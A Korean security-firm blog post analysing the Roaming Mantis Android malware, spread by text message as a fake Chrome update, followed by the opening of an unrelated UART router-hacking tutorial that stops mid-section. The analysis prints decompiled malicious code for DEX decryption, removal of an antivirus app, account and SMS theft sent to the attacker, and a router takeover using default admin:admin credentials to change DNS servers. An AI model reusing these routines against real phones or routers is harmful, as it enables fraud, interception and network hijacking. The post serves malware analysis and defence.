+ +이상으로 글을 마무리하겠습니다!
+ +Specially thanks to 이진성 님.
+ +목차
+—————————————
이 글의 주제가 되는 피싱 문자입니다. 5월 2일 실제로 많은 지인들에게 해당 문자가 배포되었습니다. 필자의 아버지가 매일 피싱 문자를 받지만, 광고 페이지로 Redirect 되는 것에 그쳤던 것에 반해 … 이 문자는 실제로 악성 앱이 설치됩니다.
+ +이 글은 해당 앱을 실제로 설치, 분석하여 어떤 원리로 악성 행위가 일어나는 지 면밀히 관찰한 내용을 담고 있습니다. 저와 같이 보안 연구를 지망하고, 종사하시는 분들께 도움이 되길 바랍니다.
+ +분석 중에 알게 된 사실이지만, 너무 잘 만들었습니다. 정성이 느껴지는 로직이 아주 많습니다. 게다가 여러 이름으로 배포되고 있다는 것도 알게 되었습니다. 따라서 이미 알려진 Malware일 것 같아 확인해본 결과, 이 앱의 정체는..
+ + + +Android Malware인 Roaming Mantis였습니다. 2018년에 처음으로 발견된 아주 오래 된 Malware입니다. 가장 많이 알려진 기능은 취약한 공용 라우터를 장악하여 DNS 서버를 변조(DNS Hijacking)하는 것으로, 그렇게 되면 사용자가 어떤 사이트로 가더라도 공격자의 서버로 이동할 수 밖에 없습니다.
+ +가령, google.com
으로 가더라도 공격자가 똑같이 만든 Google 페이지에서 로그인을 수행하게 될 것입니다. 그리고 이것은 같은 Wifi를 쓰는 모든 사용자에게 영향을 미칩니다.
이 앱은 다국가(일본, 오스트리아, 대한민국 등) 대상이지만, 2023년 관련 포스팅에 따르면 한국에 위치한 유명 네트워크 장비 공급 업체들의 라우터만을 표적으로 삼고 있다고 합니다.
+ +또한 Wroba계열의 Mobile banking Trojan을 포함하고 있어, 해당 부분도 같이 살펴보게 될 것입니다.
+ + + +분석 Flow Chart입니다.
+ +각각의 과정이 매우 복잡하기 때문에 어떤 부분을 분석하는지 이해하고 읽어주시면 감사하겠습니다.
+ +문자의 URL에 접근하면 chrome 최신 버전으로 업데이트 하라는 안내 문자가 출력됩니다.
+ +Download를 진행하면 chrome.apk
라는 파일이 다운로드 되며, 설치 후 앱을 실행하면 앱은 사라지고 상단 바에 chrome 로고를 확인할 수 있습니다. Background로 실행되기 때문에, 기기에 미숙한 사용자는 삭제 및 제어가 어려워집니다.
frida로 실행 중인 프로세스 목록을 확인해보면 chrome이 두 개가 된 것을 확인할 수 있습니다.
+ +이 중 rbj.xnmp.gjga.ucms
가 악성 앱, com.android.chrome
이 진짜 chrome입니다.
Dynamic DEX 복호화 과정을 분석해보겠습니다. Flow Chart는 아래와 같습니다.
+ +주요한 Method의 로직을 보면서, 어떤 과정으로 Decrypt DEX 파일을 Loading하는지 분석해보겠습니다.
+ + + +① Encrypted DEX Loading
+ +가장 먼저 실행되는 것은 ImApplication.c("rrkf")
로, rrkf
를 인자로 wo.pi
method를 호출합니다.
// str = "rrkf"
+private void c(String str) {
+ b(str, wo.pi(this, str, 1, false, ""));
+}
+
Java_n_wo_pi()
함수는 rrkf
를 인자로 받아, rrkf/lqcttjs
경로를 완성합니다.
완성한 경로를 getAssets()
함수의 인자로 사용하여, assets
폴더 하위의 rrkf/1qcttjs
파일 내용을 가져옵니다.
// v7 = rrkf/1qcttjs
+// v10 = getAssets()
+// v13 = open(Ljava/lang/String;)
+v19 = _JNIEnv::CallObjectMethod(v7, v10, v13);
+
실제로 assets
Directory 에는 아래와 같이 rrkf/1qcttjs
경로의 파일이 있습니다. 해당 파일은 암호화된 내용으로, 정상적으로 읽을 순 없습니다.
② Decrypt DEX
+ +따라서 Java_n_wo_pi()
내부에는 가져온 1qcttjs
의 내용의 복호화를 수행하는 로직이 있습니다. 복호화를 완료하면 wo.pi
는 Dectyped DEX 내용을 return 합니다.
while ( 1 )
+{
+ v49 = _JNIEnv::CallIntMethod(v24, v61, v21, v48); // 1. 암호화된 파일 내용 read
+ if ( v49 & 0x80000000 ) // 3. 복호화가 끝났을경우
+ {
+ _JNIEnv::CallVoidMethod(v24, v61, v59); // close(), 4. 읽기 종료
+ ...
+ if ( v64 )
+ {
+ v65 = v64; // 5. 복호화 된 내용 저장
+ operator delete(v64);
+ }
+ return;
+ }
+ v50 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)v24 + 1472LL))(v24, v48, 0LL); // 2. 복호화 진행 (1로 다시 이동)
+ ...
+}
+
③ Save Dynamic DEX
+ +복호화 된 DEX 파일의 내용은 어딘가 저장되어야 하는데, 그 과정은 ImApplication.e()
method에서 확인할 수 있습니다. e
는 /data/user/0/rbj.xnpm.gjga.ucms/files/b
와 복호화된 파일 내용을 인자로 받아, wo.or
을 호출합니다.
private static Object e(String str, Object obj) {
+ //str = "/data/user/0/rbj.xnpm.gjga.ucms/files/b"
+ //obj = 복호화한 dex파일
+ return wo.or(str, obj, 0);
+ }
+
Java_n_wo_or()
에서는 인자로 받은 경로에 DEX 파일의 내용을 저장하는 것을 볼 수 있습니다.
v7 = (*(__int64 (**)(void))(*(_QWORD *)a1 + 1472LL))(); // 복호화 DEX Byte array
+v8 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)v6 + 1352LL))(v6, v4, 0LL); // /data/user/0/rbj.xnpm.gjga.ucms/files/b
+...
+fwrite(v7, v10, 1LL, v9); // 해당 경로에 DEX파일 내용 작성
+
따라서 복호화된 DEX 파일은, /data/user/0/rbj.xnpm.gjga.ucms/files/b
경로에 저장되게 됩니다.
④ Load Class
+ +ImApplication
에서 가장 마지막에 실행되는 a
method입니다.
private void a(Object obj) {
+ // obj = DexClassLoader(path = /data/user/0/rbj.xnpm.gjga.ucms/files/b)
+ // wo.ls(1) = com.Loader
+ Class cls = (Class) wo.kw(wo.ls(1), obj, false, 0L, "", true, 2, false, 1, true);
+ this.b = cls;
+ // wo.iz = 인자를 create() 함
+ a = wo.iz(cls);
+ }
+
wo.iz
는 인자를 create() 하므로, 인자로 들어가는 cls
즉, wo.kw
의 내용을 보아야 합니다. wo.kw
는 아래의 코드로 동작을 요약할 수 있습니다.
// v7 = loadClass(com.Loader)
+return _JNIEnv::CallObjectMethod(v5, v4, v7);
+
locaClass()
method에 인자로 들어간 com.Loader
Class를 호출합니다. 이렇게 b
파일의 com.Loaser
class를 인자로 받은 wo.iz
는 이를 create()
하며 Dynamic DEX Loading은 끝이 납니다.
그럼 이제 앱을 실행한 후, /data/user/0/rbj.xnpm.gjga.ucms/files/b
파일을 획득하 악성 앱이 어떤 일을 수행하는 지 분석해봅시다.
이전 단계에서 획득한 b
파일을 분석하여, 어떤 동작을 수행하게 되는지 분석해봅시다.
모든 동작을 분석하기엔 양이 너무 많으므로, 아래의 동작들에 대해서만 분석해보겠습니다.
+ +이 중 Roaming Mantis의 핵심 동작은 ⑤ 공유기 장악(DNS Hijacking) 부분을 보시면 되겠습니다.
+ +① A사 백신 삭제
+ +② 국내 앱 계정 정보 수집
+ +③ Phishing 창 생성 #1
+ +④ Phishing 창 생성 #2
+ +⑤ 공유기 장악 (DNS Hijacking)
+ +⑥ C2 서버 - 공격자 서버 정보 파싱
+ +⑦ SMS 관련 동작
+ +⑧ 기타 동작
+ +① A사 백신 삭제
+ +대한민국에서 가장 유명한 A사의 백신을 삭제하는 로직입니다.
+ +while문을 사용하여 설치된 Package명 중, 백신의 Package명(com.a**lab.v*
)과 같은 게 있을 경우 삭제하도록 하고 있습니다.
while(!d.n.l.g(((String)v1), "com.a**lab.v3", false, 2, null));
+ v2 = v1; // 1. com.a***.v* 으로 시작하는 Package명이 있다면 저장
+label_14:
+ String v2_1 = (String)v2;
+ if(v2_1 != null) { // 2. 존재한다면, DELETE하는 Activity 실행
+ Intent v0_1 = new Intent();
+ v0_1.setAction("android.intent.action.DELETE");
+ v0_1.setData(Uri.parse("package:" + v2_1));
+ v0_1.addFlags(0x10000000);
+ arg8.startActivity(v0_1); // 안랩을 삭제하는 activity를 넣음
+ }
+
실행된 Activity는 아래와 같이 보입니다.
+ + + +② 국내 앱 계정 정보 수집
+ +아래는 기기에 저장된 계정들에 대해서 name과 type을 매칭하여 저장하는 로직입니다.
+ +// 1. 기기에서 관리중인 계정 정보 수집
+Account[] v0_4 = ((AccountManager)v0_3).getAccounts();
+
+// 2. 계정과 종류를 수집
+v10_1.add(v0_4[v12].name + ":" + v0_4[v12].type);
+
수집한 type들 중 아래의 패키지명이 일치하는 계정이 있다면 내용을 수집합니다. 패키지명은 국내 게임사, OTP, 포인트 관련 패키지명들이었습니다.
+ + + +아래는 S사의 포인트 앱 happy***** 의 저장 예시입니다.
+ +v9.add("Happy*****:"); // 계정이 존재한다면, comment와 함께 저장
+
③ Phishing 창 생성 #1
+ +com.Loader
Class에는 static으로 정의 된 HTML/javascript 코드들이 있습니다. 해당 코드를 정적으로 확인하면 아래와 같은 Phishing 페이지를 확인할 수 있습니다. 여러 나라를 대상으로 악성 행위를 수행하기 때문에, 사용자의 환경에 따라 언어를 출력하도록 되어있습니다.
한국어에서 값을 가져와서 확인해보면, 아래 같은 페이지를 확인할 수 있습니다. 이 페이지는 127.0.0.1:Random_port
로 열리는 Web view Activity로, 사용자는 안전 인증 페이지로 오인하여 본인의 정보를 입력할 수 있습니다. 이 때 %%ACCOUNT%%
부분은 기기에 저장된 gmail 계정이 출력됩니다.
전달 받은 값은 127.0.0.1:port/submit
으로 전달, Response 값을 setMyInfo
method로 JSON-RPC 통신하게 됩니다. 즉 공격자에게 전달됩니다.
v8_1 = (String)v7.get("name");
+v8_2.append(((String)v7.get("first_name")));
+String v0 = (String)v7.get("middle_name");
+v8_2.append(((String)v7.get("last_name")));
+String v2_1 = (String)v7.get("date");
+v2_1 = v2_1 + " " + ((String)v7.get("xx1"));
+v2_1 = v2_1 + " " + ((String)v7.get("xx2"));
+v2_1 = v2_1 + " " + ((String)v7.get("xx3"));
+v2_1 = v2_1 + " " + ((String)v7.get("xx4"));
+v2_1 = v2_1 + "/" + ((String)v7.get("ss1"));
+
+// 수집한 정보를 JSON-RPC로 전달, 웹 서버 종료
+String v0_1 = "JSON:" + new JSONObject(v7).toString(0);
+this.c.g.f("setMyInfo", new String[]{v8_1, v0_1}).f(new Loader.t0.a(this, v7), Loader.t0.b.a);
+}
+
④ Phishing 창 생성 #2
+ +또 다른 Phishing 창의 예시를 살펴봅시다. 이 Phishing은 앱 이름이 zc1
. zc
. scan
일 경우 수행됩니다.
사용자가 어떤 통신사를 사용하는 지에 따라, 그에 맞는 Phishing 페이지를 생성합니다. 아래는 일본의 통신사인 domoco
를 사용 할 경우의 예시입니다.
else if(l.j(v0_3, "docomo", false, 2, null)) { // 1. domoco 통신사일 경우
+ b v0_6 = this.a.h("https://www.pinterest.com/catogreggex11/");
+ v7 = (String)v0_6.a();
+ v0_5 = (String)v0_6.b(); // 2. 위의 URL에서 info 정보 수집
+ v1 = i.a(v0_5, "") ? "【JNB】お客様がご利用のジャパンネット銀行に対し、第三者からの不正なアクセスを検知しました。ご確認ください。" : // 3. 수집이 안 될 경우를 대비한 피싱 문구
+ }
+
v0_6를 보면, https://www.pinterest.com/catogreggex11/
의 주소로 접근하려는 것을 볼 수 있습니다. Pinterest는 유명한 이미지 공유 사이트로, 피싱 사이트가 아닙니다. 해당 URL은 경로에 적힌 catogreggex11
계정의 프로필 페이지에 접근 하는 것으로, 한번 직접 접근해보도록 합시다.
info 문구를 보면 통신사에 맞는 Phshing 문구가 입력되어 있는 것을 확인할 수 있습니다. 위의 코드에서 v0_5는 이 info 문구를 parsing 하고, ----
를 기점으로 각각 Notification의 문구와 Notification 클릭 시 open되는 WebView URL로 사용합니다.
⑤ 공유기 장악 (DNS Hijacking)
+ +Roaming Mantis의 가장 핵심이 되는 공유기 장악 기능을 분석해봅시다.
+ +모바일 환경에서는 대부분의 기기가 공유기(라우터)를 DHCP 서버로 두고 IP 및 DNS 주소를 할당 받는 방식을 사용하고 있습니다. 따라서 공격자는 DHCP Server의 IP 주소를 수집합니다.
+ +int v2 = ((WifiManager)this.n.getApplicationContext().getSystemService("wifi")).getDhcpInfo().serverAddress;
+
하지만 DHCP 서버의 IP 주소를 알아봤자, 사설 IP의 주소일 가능성이 매우 크기 때문에 공격자는 직접 접근하기 어려울 것입니다. 내부에서 접근을 시도해야 하므로 공격자는 사용자의 기기로 접근합니다.
+ +공격자는 수집한 DHCP 서버의 IP 주소에 특정 TCP Port를 추가하여 로그인 페이지를 호출합니다.
+ +int[] v5 = new int[]{8080, 8888, 80, 7777, 8899};
+for(v9 = "http://" + v2_1 + ":" + v8 + "/login/login.cgi"; true; v9 = v10_1.toString()){
+ v9_1 = a.b.d(v9, false);
+
코드를 보면, 8080
, 8888
, 80
등 주로 웹 서비스에서 사용하는 포트들을 대상으로 하는 것을 볼 수 있습니다. 그렇게 획득한 주소에 /login/login.cgi
경로를 붙여 최종적으로 http://{DHCP_SERVER}:{PORT}/login/login.cgi
라는 URL을 완성합니다.
아래는 실행 시 실제로 보내진 HTTP Request Dump입니다.
+ + + +URL의 경로에서 유추할 수 있듯, 공격자는 공유기 관리 페이지에 접근하여 실제 응답이 돌아오는 지 확인합니다. 그리고 만약 응답이 돌아온다면 저장하고, Refresh 혹은 Redirect 되는 Response가 온다면 해당 경로까지 접근하여 최종적인 Response를 받아옵니다.
+ +Matcher v10 = Pattern.compile("http-equiv=\"?refresh\"? .+?URL=(.+?)\"", 2).matcher(v9_1);
+ Matcher v10_2 = Pattern.compile("<script>.+\\.location=\"(.+?)\";.*//session_timeout", 2).matcher(v9_1.replace(" ", ""));
+
Response가 있다면 HTTP source code 에는 해당 DHCP 서버(공유기)의 정보가 있을 것입니다.
+ +아래는 공유기 모델에 따라 HTTP 페이지에 적혀 있는 값입니다. 만약 일치하는 패턴이 있다면 공유기의 모델이 어떤 것인지 유추할 수 있습니다. 공격자는 이 패턴과 숫자를 매칭하여 저장합니다.
+ + + +어떤 번호에 매칭되었느냐에 따라 다양한 method들이 호출되는데, 여기서 1번 i사의 공유기에 매칭 되었다고 가정해봅시다.
+ +if(v2 == 1) {
+ this.a.e(v1.a);
+ return;
+ }
+
+if(v2 == 2) {
+ this.a.k(v1.a);
+ return;
+ }
+...
+
매칭된 숫자에 따라 실행되는 method들이 달라집니다. 1번에 매칭되었으니 a.e
method로 이동해봅시다.
매칭된 i사의 공유기의 Default Credential과 token 검증 방식으로 인증을 수행하기 위해 Request Header 생성, 이를 Default URL로 전달하고 있습니다. 각 공유기마다 Header의 조합과 URL 주소가 다르며, 일반적인 공유기 사용자가 관리 페이지의 Credential을 바꾸는 일은 흔치 않기 때문에 공격자는 쉽게 관리자로 로그인 할 수 있습니다.
+ +void e(String arg14) {
+ String[] v1 = new String[2];
+ int v2 = 0;
+ v1[0] = "Authorization";
+ v1[1] = "Basic " + Base64.encodeToString("admin:admin".getBytes(), 0);
+ a.b.e(arg14 + "/cgi-bin/timepro.cgi?tmenu=main_frame&smenu=main_frame", v1);
+ String v4 = a.b.e(arg14 + "/cgi-bin/timepro.cgi?tmenu=netconf&smenu=wansetup", v1);
+ ArrayList v7 = new ArrayList();
+ int v8;
+ for(v8 = 1; v8 <= 4; ++v8) {
+ Matcher v9 = Pattern.compile("id=\"disabled_dynamicip" + v8 + ".*?value=\"(.*?)\"").matcher(v4);
+ if(v9.find()) {
+ v7.add(v9.group(1));
+ }
+ }
+
+
그리고 마지막 부분에 DNS 서버를 변경하려는 Request를 생성하는데, 해당 DNS 서버의 주소는 C2 서버에 값이 저장되어 있습니다.
+ +// DNS 서버를 변경하는 Request 생성
+// v3의 값은 C2 서버에서 파싱
+a.b.f(arg14 + "/cgi-bin/timepro.cgi", v1, "tmenu=iframe&smenu=hiddenwansetup&act=save&ocolor=&wan=wan1&ifname=eth1&nopassword=0&wan_type=dynamic&allow_private=on&fdns_dynamic1=" + v3.c[0] + "&fdns_dynamic2=" + v3.c[1] + "&fdns_dynamic3=" + v3.c[2] + "&fdns_dynamic4=" + v3.c[3] + "&sdns_dynamic1=" + v3.d[0] + "&sdns_dynamic2=" + v3.d[1] + "&sdns_dynamic3=" + v3.d[2] + "&sdns_dynamic4=" + v3.d[3] + "&dns_dynamic_chk=on".getBytes());
+
이렇게 외부 서비스에 저장한 정보를 파싱해 올 수 있습니다. 사진에서는 활동 란에 적힌 부분이 바꾸고자 하는 동적 DNS 서버의 주소입니다.
+ + + +⑥ C2 서버 - 공격자 서버 정보 파싱
+ +바로 이전 섹션에서 타 서비스의 웹 사이트(C2 서버)에서 문구들을 수집하는 것을 보았습니다. 마찬가지로 공격자의 서버 정보도 C2 서버에 있습니다. 그렇다면 공격자 서버 정보를 찾아봅시다.
+ +아래의 문자열은 외부 서비스와 많은 연관이 있는 것으로 추정되는 문자열입니다.
+ +this.n = "chrome|UCP5sKzxDLR5yhO1IB4EqeEg@youtube|id728589530@vk|1s0n64k12_r9MglT5m9lr63M5F3e-xRyaMeYP7rdOTrA@GoogleDoc2";
+
현재 피싱 앱으로 사용하는 이름|youtube계정|vk계정|GoogleDoc계정
의 정보를 담고 있으며, 이 앱은 covid
등 다양한 이름으로 배포되고 있었습니다. 따라서 현재 사용하는 앱 이름에 맞는 정보를 파싱하도록 동작하고 있습니다.
우선 vk(id728589530@vk
) 계정이 어디서 사용되는지 확인해봅시다. 앱 이름이 debug
가 아닐 경우에 수행되며, 최종적으로 id729071494
계정의 info페이지에 접근하게 됩니다.
// 1. info 페이지 접근
+String v3 = String.format("https://m.vk.com/%s?act=info", Arrays.copyOf(new Object[]{arg3}, 1));
+
+// 2. noopener 태그 사이의 문자열 매칭
+ Matcher v3_3 = Pattern.compile("noopener\">(.+?)</a>").matcher(v3_2);
+
페이지의 HTTP Code 중 noopener
태그 이후의 문자열을 확인하면 아래와 같이 공격자 서버를 확인할 수 있습니다.
이 서버는 결론적으로 DHCP서버의 Captcha 인증 중 Captcha 이미지를 보내는 서버입니다. 자세한 분석은 분량 상 생략하겠습니다.
+ +다른 정보들은 어디에 쓰이는지 확인해봅시다.
+ +아래는 기기의 환경이 한국일 경우 실행되는 코드로, 위의 계정 정보들 중 youtube(UCP5sKzxDLR5yhO1IB4EqeEg@youtube
)계정 문자열을 파싱합니다.
// UCP5sKzxDLR5yhO1IB4EqeEg@youtube 문자열 파싱
+String v7 = Loader.access$getPreferences$p(this.b).getString("account", ((String)v2.get(v8)));
+
마찬가지로 해당 계정의 about 페이지에 접근한 후, oeewe
사이의 문자열을 파싱합니다.
// 1. about 페이지 접근
+String v3 = String.format("https://m.youtube.com/channel/%s/about", Arrays.copyOf(new Object[]{arg3}, 1));
+
+// 2. oeewe 사이의 문자열 매칭
+Matcher v3_3 = Pattern.compile("oeewe([\\w_-]+?)oeewe").matcher(v3_2);
+
접근하면 아래와 같이 oeewe … oeewe
문자열을 설명란에서 볼 수 있습니다.
해당 문자열은 DES(CBC) 복호화 과정을 거칩니다. 다행히 Key와 IV가 하드코딩 되어있어, 쉽게 복호화 할 수 있습니다.
+ +// 1. Base64 Decoding
+byte[] v2 = Base64.decode(arg2, 8);
+
+// 2. Key, IV 하드코딩(같은 값)
+return new String(r.b(v2, "Ab5d1Q32"), d.a);
+
복호화를 진행하면 아래와 같이 공격자의 서버 주소를 확인할 수 있습니다. 이 주소는 파싱 후 ws://
가 앞에 붙게 되므로 웹 소켓 주소로 사용되는 것을 추측할 수 있습니다.
⑦ SMS관련
+ +아래는 기기가 기본 SMS 앱을 사용하는지 체크하는 부분입니다. 만약 기본 SMS앱을 악성 앱으로 바꾼다면, SMS 인증 우회는 물론이고, 메시지 내용 탈취, 발신, 수신이 자유로울 것입니다.
+ +v9_1[5] = Boolean.valueOf(i.a(v5_6, Telephony.Sms.getDefaultSmsPackage(v7_4)));
+
공격자는 SMS 메시지가 수신될 때, 발신자의 주소와 timestamp, 그리고 메시지내용을 HashMap으로 저장하며 수집합니다.
+ +// 1. 수신된 메시지들 수집
+v0_6 = (Object[])arg27.getExtras().get("pdus");
+v12 = v0_6[v10];
+
+// 2. 수신된 메시지를 기반으로 새로운 SMS 데이터 생성
+SmsMessage v12_1 = SmsMessage.createFromPdu(((byte[])v12));
+
+// 3. 수신된 메시지의 내용 수집
+String v13 = v12_1.getDisplayMessageBody();
+
+// 4. 수신된 메시지의 발신 주소 수집
+String v14 = v12_1.getDisplayOriginatingAddress();
+
+// 5. 발신자 주소(key)-메시지의 timestamp(value) 로 저장
+v3_1.put(v14, Long.valueOf(v12_1.getTimestampMillis()));
+
+// 6. 발신자 주소(key)-메시지 내용(value)로 저장
+ v4_2.put(v14, v12_2.toString());
+
JSON-RPC로 onSms
method와 수집한 내용을 공격자 서버로 전달합니다.
// s = "onSms"
+// 1. Json-RPC로 onSms method 실행
+Map map0 = b0.f(new b[]{c.a("jsonrpc", "2.0"), c.a("method", s)});
+
+// 2. 수집한 내용을 params로 전달
+map0.put("params", object0);
+
이후 공격자는 audio 상태를 무음으로 변경합니다. 만약 기기를 자주 살펴보지 않는 사용자라면, 본인도 모르는 사이에 문자가 발신/수신 될 수 있습니다.
+ +Object v0_13 = v2.getSystemService("audio");
+if(v0_13 != null) {
+ ((AudioManager)v0_13).setRingerMode(0);
+
수신하는 경우의 로직도 존재합니다. 특이한 점은 수신한 문자의 앞 두글자에 따라 다른 동작을 한다는 것입니다. 마치 기계에 커맨드를 입력하는 것 같습니다.
+ +맨 앞 두 글자에 따라 SharedPreference 객체에 key-value로 값을 저장하는 형태를 많이 보입니다.
+ +// 1. 앞 글자가 FS인 경우, fs(key)-메시지내용(value) 추가
+if(boolean z2 = u.g(s12, "FS", false, 2, null)) {
+Loader.access$getPreferences$p(this.a).edit().putString("fs", r.c(s13))).apply()
+
+// 2. 앞 글자가 SF인 경우, account(key)-메시지내용(value) 추가
+if(u.g(s12, "SF", false, 2, null)) {
+Loader.access$getPreferences$p(this.a).edit().putString("account", s14).apply();
+
+// 3. 앞 글자가 IF인 경우, 네트워크(socket등)연결 시도
+if(u.g(s12, "IF", false, 2, null)) {
+
+ // 3-1. 연결 되었을 경우
+ i.c(socket1, "peer.ws!!.socket");
+ s15 = "已连接:" + socket1.getRemoteSocketAddress().toString();
+
+ // 3-2. 연결되지 않았을 경우
+ s15 = "未连接," + s16 + ',' + (wifiManager0 == null ? false : wifiManager0.isWifiEnabled()) + ',' + this.a.j;
+
+// 4. 앞 긑자리 SI인 경우, addr_url/addr_encoding/addr_pattern/addr_accounts 추가
+if(boolean z3 = u.g(s12, "SI", false, 2, null)) {
+byte[] arr_b = Base64.decode(s13, 0);
+Loader.access$getPreferences$p(this.a).edit().putString("addr_url", ((String)list0.get(0))).putString("addr_encoding", ((String)list0.get(1))).putString("addr_pattern", ((String)list0.get(2))).putString("addr_accounts", ((String)list0.get(3))).apply();
+
+// 5. 앞 글자리 FM인 경우, Key(arr_b1)으로 AES 복호화 후 fsm(key)-메시지내용(value) 추가
+else if(u.g(s12, "FM", false, 2, null)) {
+byte[] arr_b1 = Base64.decode("CpMSc7iSk/dTcRO7aMe4qA==", 0);
+Loader.access$getPreferences$p(this.a).edit().putString("fsm", s18)
+
어떤 내용이 오가는지 정확한 내용은 몰라도, 어느 정도 유추는 가능하며 사용자의 기기로 하여금 악의적인 행위를 수행하도록 하는 것을 볼 수 있습니다.
+ +⑦ 기타 동작
+ +/sdcard/NAKI
에 저장된 공인인증서를 탈취합니다.Swi
라는 이름으로 생성, 백그라운드에서도 연락이 이어지게 끔 동작합니다./sdcard/.upload2
하위의 악성 앱을 실행합니다./DCIM/Camera
에 위치한 사진 파일들을 탈취합니다.이 외에도 모두 분석하면 꽤 많은 양의 기능을 식별할 수 있을 것으로 예상됩니다.
+ +지금까지 Android Malware : Roaming Mantis를 분석해보았습니다. 타인에게 설명하기에 양도 많고 내용도 복잡해 글을 쓰면서도 고민이 많았습니다. 틀린 부분은 없는지 여러 번 확인도 하였지만, 혹시나 발견하신다면 제 미숙함으로 여겨주시면 감사하겠습니다. (틀린 부분에 대한 문의는 hrjeon@stealien.com으로 연락 바랍니다.)
+ +Roaming Mantis는 매우 정성 들여 만든 Malware입니다. 그만큼 많은 곳에 복제되어서 이곳저곳 쓰일 것입니다. 혹시나 이 Malware를 마주하게 되신다면, 글을 읽으시는 분들도 한번 쯤 분석해보면 어떨까요?
+ +더 많은 로직이 있음에도 다 담을 수 없어 아쉽기도 하고, 남은 로직은 후일에 천천히 풀어보도록 해보겠습니다.
+ +글의 주제를 제공해주신 김도현 팀장님과 분석 실마리를 제공해주신 김동규 선임연구원님, 글 작성을 도와주신 임필호 선임연구원님을 비롯한 모의해킹팀 분들에게 감사합니다.
+ +이 글이 많은 분들의 연구에 도움이 되길 바라며 글을 줄이겠습니다.
+ +++ +이 포스트는 스틸리언 선제대응팀의 ‘이주협’ 선임 연구원님과 ‘이주영’ 연구원님이 정성스럽게 작성 해 주셨습니다.
+ +선제대응팀(Team Defend Forward)은 IoT, 임베디드 디바이스, 네트워크 디바이스같은 장비의 취약점 분석은 물론이고, +모바일 디바이스 어플리케이션, 웹 서비스/어플리케이션, 데스크탑/서버 어플리케이션/서비스 등 다양한 소프트웨어에 대한 +화이트박스/블랙박스 펜테스팅 서비스를 제공하고 있습니다.
+ +by 선제대응팀 팀장 김도현
+
++ +본 블로그 포스트는 SPI를 사용하는 Router의 하드웨어 해킹을 기준 해 작성했습니다. 라우터의 구현에 따른 한가지 방법일 뿐, 일반적으로 통용되는 하드웨어 해킹 방법론이 아님을 명시합니다.
+
UART(Universal Asynchronous Receiver/Transmitter)는 두 하드웨어 기기가 서로 Serial 통신할 때 사용하는 프로토콜입니다. 주로 하드웨어 개발자들이 디버깅 용도로 사용합니다.
+ +경우에 따라 다르지만 UART로 Login Prompt 또는 OS Shell을 제공하는 하드웨어 기기가 있습니다. 하드웨어 기기의 쉘에 접근하면 기기 내에 동작하는 프로세스를 확인하거나 gdb와 같은 디버거를 원격으로 업로드하여 프로세스를 직접 디버깅하는 등의 분석을 수행할 수 있습니다.
+ +UART로 쉘을 제공하지 않더라도 부팅 로그를 출력하는 경우도 있습니다. 이 경우, 부팅 로그에 펌웨어 복호화 키와 같은 민감한 정보가 포함되어 있을 수 있습니다. 따라서 하드웨어 기기의 UART를 확인해야 하는 근거는 충분합니다.
+ +UART 연결에 필요한 장비는 다음과 같습니다.
+ +장비 | +역할 | +
---|---|
USB to TTL | +기기의 UART와 PC 간 시리얼 통신을 위한 USB Converter | +
점퍼 케이블(optional) | +USB to TTL과 기기의 UART 핀을 연결하는 케이블 | +
MultiMeter | +전기 및 전자 장비의 전압, 전류, 저항 등을 측정하는 테스트기 | +
UART에 연결하기 전 기기마다 가질 수 있는 UART 형태의 종류를 알아보겠습니다.
+ + + +ipTIME N704VS router UART PIN
+ +ipTIME N704VS 라우터의 경우, UART에 핀 헤더가 연결되어 있기 때문에 각 핀의 역할만 찾으면 바로 USB to TTL과 연결하여 Serial 통신이 가능합니다.
+ + + +Netis router UART PIN
+ +Netis 라우터의 UART 핀입니다. 대부분의 UART 핀은 위 사진과 같이 4개의 패드로 존재합니다. 이러한 경우 암-수 점퍼 케이블을 연결하거나, 홀에 헤더핀을 납땜하여 암-암 점퍼케이블로 USB to TTL과 연결할 수 있습니다.
+ +점퍼 케이블의 종류는 다음과 같습니다.
+ +케이블 명 | +설명 | +
---|---|
암-암 점퍼 케이블 | +케이블 헤더에 핀이 존재하지 않아 UART 핀과 탈부착할 수 있는 케이블 | +
암-수 점퍼 케이블 | +케이블의 한쪽 헤더에만 핀이 고정 되어있는 케이블 | +
수-수 점퍼 케이블 | +케이블의 양쪽 헤더에 핀이 고정 되어있는 케이블 | +
일반 USB to TTL은 별도의 암-수 점퍼 케이블이나 암-암 점퍼 케이블과 핀 헤더가 필요합니다.
+ +케이블 일체형 USB to TTL은 암-암 점퍼 케이블이 내장되어 있어 별도의 암-암 점퍼 케이블 없이도 UART 핀에 연결할 수 있습니다. 각 UART 핀의 역할을 점퍼 케이블의 색깔로 구분하여 연결합니다.
+ +UART 핀의 각 역할은 다음과 같습니다.
+ +UART 핀 | +역할 | +
---|---|
GND | +메인 보드의 기준 전압을 맞춰주는 핀 | +
TX | +시리얼 데이터를 송신하는 핀 | +
RX | +시리얼 데이터를 수신하는 핀 | +
VCC | +전원을 공급하는 핀 | +
하드웨어 기기에 전원 케이블을 통해서 전원 공급이 가능하다면 VCC 핀은 연결하지 않습니다.
+ +UART 핀의 역할을 알아보았으니 각 UART 핀을 식별해 봅시다.
+ +UART의 GND 핀은 멀티미터를 통해 찾을 수 있습니다. 멀티미터의 Conductivity 모드는 전기회로가 서로 연결 되어있을 때 부저음을 출력합니다. PCB1에서 SPI Flash 칩의 GND 핀과 UART의 GND 핀은 연결되어 있습니다.
+ +따라서 SPI Flash 칩의 GND 핀 위치를 찾고 각 UART 핀과 한번씩 연결해보는 방식으로 부저음을 통해서 UART의 GND 핀을 찾을 수 있습니다.
+ +(1) SPI Flash Chip GND PIN → UART GND PIN
+ +SPI Flash 칩에서 GND 핀 위치는 데이터 시트를 통해 찾을 수 있습니다. SPI Flash 칩의 모델명을 확인하여 데이터 시트를 검색합니다.
+ + + + + + + +데이터 시트를 통해 SPI Flash 칩의 GND 핀은 점을 기준으로 4번째 핀인 VSS 핀임을 알 수 있습니다.
+ +이제 UART의 GND 핀을 식별해봅시다. 기기에 전원을 공급하지 않은 상태에서, 멀티미터를 Conductivity 모드로 설정합니다.
+ + + +멀티미터의 검은 리드선2을 SPI Flash 칩의 GND 핀에 고정한 상태에서 빨간 리드선을 각 UART 핀에 한번씩 연결합니다.
+ +(2) Other Method
